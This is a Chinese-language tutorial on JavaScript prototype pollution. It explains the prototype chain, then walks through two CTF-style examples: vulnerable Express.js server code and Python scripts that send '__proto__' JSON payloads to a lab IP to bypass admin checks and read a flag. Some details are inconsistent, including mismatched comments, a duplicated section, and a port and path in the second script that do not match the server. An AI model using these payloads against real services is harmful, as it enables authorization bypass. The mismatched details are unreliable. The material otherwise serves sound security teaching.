1.基础属性
要了解JS原型链就要先了解prototype、proto、constructor这三个属性
1.1prototype属性
function Animal(name) {
this.name = name,
this.meow = function () {
console.log('张')
}
}
Animal.prototype.color = 'yellow'
var cat1 = new Animal('马')
var cat2 = new Animal('刘')
console.log(cat1.color) // 'white'
console.log(cat2.color) // 'white'
console.log(cat1.meow === cat2.meow) //false
面代码中,cat1和cat2是同一个构造函数的两个实例,它们都具有meow方法。由于meow方法是生成在每个实例对象上面,所以两个实例就生成了两次。也就是说,每新建一个实例,就会新建一个meow方法。这既没有必要,又浪费系统资源,因为所有meow方法都是同样的行为,完全应该共享。
而prototype属性解决了这个问题,上面代码中我们使用Animal构造函数的prototype属性,将Animal的原型对象添加了color属性,原型对象的color属性的值变为yellow,两个实例对象的color属性立刻跟着变了。这是因为实例对象其实没有color属性,都是读取原型对象的color属性。也就是说,当实例对象本身没有某个属性或方法的时候,它会到原型对象去寻找该属性或方法。这就是原型对象的特殊之处。
但如果实例对象自身就有某个属性或方法,它就不会再去原型对象寻找这个属性或方法。
1.2__proto__属性
实例对象可以通过__proto__访问其原型对象
而经过不断的调用,最终的原型对象会调用到null,这将作为该原型链的最后一个环节,与之对应的,作为终点的null自然也是没有原型对象的
1.3constructor属性
prototype对象有一个constructor属性,默认指向prototype对象所在的构造函数。constructor属性的作用是,可以得知某个实例对象,到底是哪一个构造函数产生的。
每个实例对象都有一个原型对象,而原型对象则引申出其对应的原型对象,经过一层层的链式调用,就构成了我们常说的"原型链",是一种用于对象继承的特性。
引用上面的例子,这里就形成了一条原型链,cat1实例的最终原型对象是null
当位于下层的对象本身没有某个属性或方法的时候,它会去寻找它的上层原型对象的属性或者方法。这里我们便可以污染上层原型对象,使其具有下层对象本身并不具有的方法和属性,来达到我们的目的
2.原型链概念
每个实例对象都有一个原型对象,而原型对象则引申出其对应的原型对象,经过一层层的链式调用,就构成了我们常说的"原型链",是一种用于对象继承的特性。
引用上面的例子,这里就形成了一条原型链,cat1实例的最终原型对象是null
当位于下层的对象本身没有某个属性或方法的时候,它会去寻找它的上层原型对象的属性或者方法。这里我们便可以污染上层原型对象,使其具有下层对象本身并不具有的方法和属性,来达到我们的目的
1.例题1
使用nodejs,这里注意安装依赖环境—npm install hbs…
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
var matrix = [];
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
function draw(mat) {
var count = 0;
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (matrix[i][j] !== null){
count += 1;
}
}
}
return count === 9;
}
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
app.get('/', (req, res) => {
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
res.render('index');
})
app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is flag{prototype_pollution_is_very_dangerous}');
}
else {
res.status(403).send('Forbidden');
}
}
)
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;
if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
matrix[client.row][client.col] = client.data;
for(var i = 0; i < 3; i++){
if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
if (matrix[i][0] === 'X') {
winner = 1;
}
else if(matrix[i][0] === 'O') {
winner = 2;
}
}
if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
if (matrix[0][i] === 'X') {
winner = 1;
}
else if(matrix[0][i] === 'O') {
winner = 2;
}
}
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
winner = 1;
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
winner = 2;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
winner = 1;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
winner = 2;
}
if (draw(matrix) && winner === null){
res.send(JSON.stringify({winner: 0}))
}
else if (winner !== null) {
res.send(JSON.stringify({winner: winner}))
}
else {
res.send(JSON.stringify({winner: -1}))
}
})
app.listen(3000, () => {
console.log('app listening on port 3000!')
})
审计上述代码,找到我们能够可控的参数,最终发现这一条赋值语句
matrix[client.row][client.col] = client.data;
再看看拿到flag的if条件
条件是user数组必须有admintoken这个属性,并且该属性的md5值必须等于传入的属性值
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is flag{prototype_pollution_is_very_dangerous}');
}
由于赋值语句中的data是可控的,matrix和user是在全局下定义的数组,所以我们可以利用这条语句传入我们的payload,污染原型链,此时可以这样理解
matrix[client.row][client.col] = client.data;
//等同于
matrix.client.row.client.col = client.data;
//传参后变成
matrix.proto.admintoken = md5(admin);
这里使用python发送post请求(记得在pip中下载requests包)
import requests
import json
url1 = "http://192.168.239.138:3000/api"
url2 = "http://192.168.239.138:3000/admin?querytoken=21232f297a57a5a743894a0e4a801fc3"
s = requests.session()
headers = {"Content-type": "application/json"}
data1 = {"row": "__proto__", "col": "admintoken", "data": "admin"}
res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url2)
print(res2.text)
这里注意,如果我们直接传入"proto",编译器不会把它当做键值,需要使用json.parse转为对应的值
其实还有两个对象可以造成原型链污染
对象merge 结合 拼接
对象clone(其实内核就是将待操作的对象merge到一个空对象中) 复制
示例:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)//1,2
o3 = {}
console.log(o3.b)//2
上述代码中,我们将o1,o2对象传入merge函数,for循环中的key就是a和__proto__,if判断,明显o1中都没有这两个key,都走到了else,将o2中的a和__proto__赋值给了o1,此时
o1.a=1
o1.__proto__ = { b : 2 } 也就等价于 o1.__proto__.b = 2,即o1的原型对象Object.b = 2,这样我们就把原型链污染了,此时o3在全局下定义,虽然o3本身并没有b属性,但是它的原型对象Object有,且等于2,所以输出了2
下面我们再来看例题
'use strict';
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function clone(a) {
return merge({}, a);
}
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.name) {
res.cookie('name', copybody.name).json({
"done": "cookie set"
});
} else {
res.json({
"error": "cookie not set"
})
}
});
app.get('/getFlag', (req, res) => {
var admin = JSON.parse(JSON.stringify(req.cookies))
if (admin.admin == 1) {
res.send("hackim19{}");
} else {
res.send("You are not authorized");
}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);
上述代码出现了merge、clone属性,大概率会有原型链污染漏洞
先看拿到flag的if条件,需要admin对象有admin属性,且值为1
if (admin.admin == 1) {
res.send("hackim19{}");
再看传参的地方
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
我们可以控制的参数是body,然后它使用json.stringify方法把数据转为json格式,再用parse方法转回赋给body对象,然后把body clone后的结果返回给copybody,这时候我们来看clone和merge属性
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function clone(a) {
return merge({}, a);
}
clone函数里返回的是merge函数的结果,merge函数的过程跟上面讲的merge属性是相似的,就是把一个空对象与传入的body对象进行结合,if判断后都走到了else里,将b的属性赋值给了a,即
{}.proto.admin=1,也就是Object.admin=1,这样成功污染原型链,admin对象本身并不具有admin属性,但是我们给Object赋了一个admin属性,所以admin.admin=1成立,成功拿到flag
我们还是使用Python发送请求
import requests
import json
url1 = "http://192.168.239.138:3000/signup"
url2 = "http://192.168.239.138:3000/getflag"
headers = {"Content-type": "application/json"}
data1 = {"name":"aaa" , "__proto__" : {"admin" : 1}}
res1 = requests.post(url1, headers=headers, data = json.dumps(data1))
res2 = requests.get(url2)
print(res2.text)